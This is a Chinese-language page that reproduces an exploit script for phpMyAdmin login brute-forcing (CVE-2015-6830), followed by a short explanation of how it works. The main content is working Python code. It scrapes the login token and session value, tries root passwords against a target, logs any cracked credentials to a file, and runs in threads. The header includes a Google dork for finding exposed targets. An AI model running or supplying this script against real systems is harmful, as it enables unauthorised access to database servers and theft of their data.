本文详细分析了PHPMyAdmin 3.0版本中的暴力破解登录绕过漏洞(CVE-2015-6830),包含完整的Python利用代码和漏洞原理说明,涉及token获取、会话管理和认证绕过技术。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
"""
Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass
Author: Nikola Markovic (badgerinc23@gmail.com)
Date: 2023
Google-Dork: intext: phpMyAdmin
Vendor: https://www.phpmyadmin.net/
Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1
Tested on: win/linux/unix
Python-Version: 3.0
CVE : CVE-2015-6830
"""
import urllib.request
import urllib.parse
import urllib
import threading
import http.cookiejar
import re
import sys
def CheckLogin(target):
passwords = ["123"]
try:
for password in passwords:
print("Try Host: "+target+" with Combo: root/"+password+"!\n")
load_token = urllib.request.Request(target)
fetch_token = urllib.request.urlopen(load_token,timeout=2).read()
token = re.findall(r'name="token" value="([\w\.-]+)"',fetch_token.decode('utf-8')) # token fetching
session = re.findall(r'name="set_session" value="([\w\.-]+)"',fetch_token.decode('utf-8')) ## session token fetching
login_data = urllib.parse.urlencode({ 'pma_username': "root", 'pma_password': password,'set_session': session[0], 'token':token}) ## injecting payload to bruteforce
login = login_data.encode()
cookies = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
do_it = opener.open(target,login,timeout=2)
check = do_it.read()
if b"index.php?route=/logout" in check:
f = open('bruted_pma','a')
f.write(target+" Bruted: root/"+password+"\n")
f.close()
except:
pass
if sys.argv[1]:
t = threading.Thread(target=CheckLogin,args=(str(sys.argv[1]),))
if threading.active_count() < 500:
t.start()
else:
t.start()
t.join()
|
漏洞概述
该漏洞利用PHPMyAdmin 3.0及以上版本(包括4.3.x在4.3.13.2之前和4.4.x在4.4.14.1之前版本)中的认证机制缺陷,通过暴力破解方式绕过登录验证。
技术细节
漏洞原理
- 利用PHPMyAdmin登录页面中的token和session令牌获取机制
- 通过正则表达式从响应中提取安全令牌
- 构造包含有效令牌的登录请求绕过防护机制
利用代码功能
- 令牌获取:从登录页面响应中提取token和set_session值
- 暴力破解:使用预设密码列表尝试登录
- 会话管理:使用CookieJar维护会话状态
- 多线程支持:支持并发测试,线程数限制为500
- 结果记录:成功破解的目标会记录到文件中
技术要点
- 使用urllib库处理HTTP请求和响应
- 正则表达式匹配HTML中的安全令牌
- Cookie处理维持会话状态
- 超时机制防止请求阻塞
该漏洞利用程序展示了Web应用安全中常见的令牌处理缺陷和暴力破解防护绕过技术。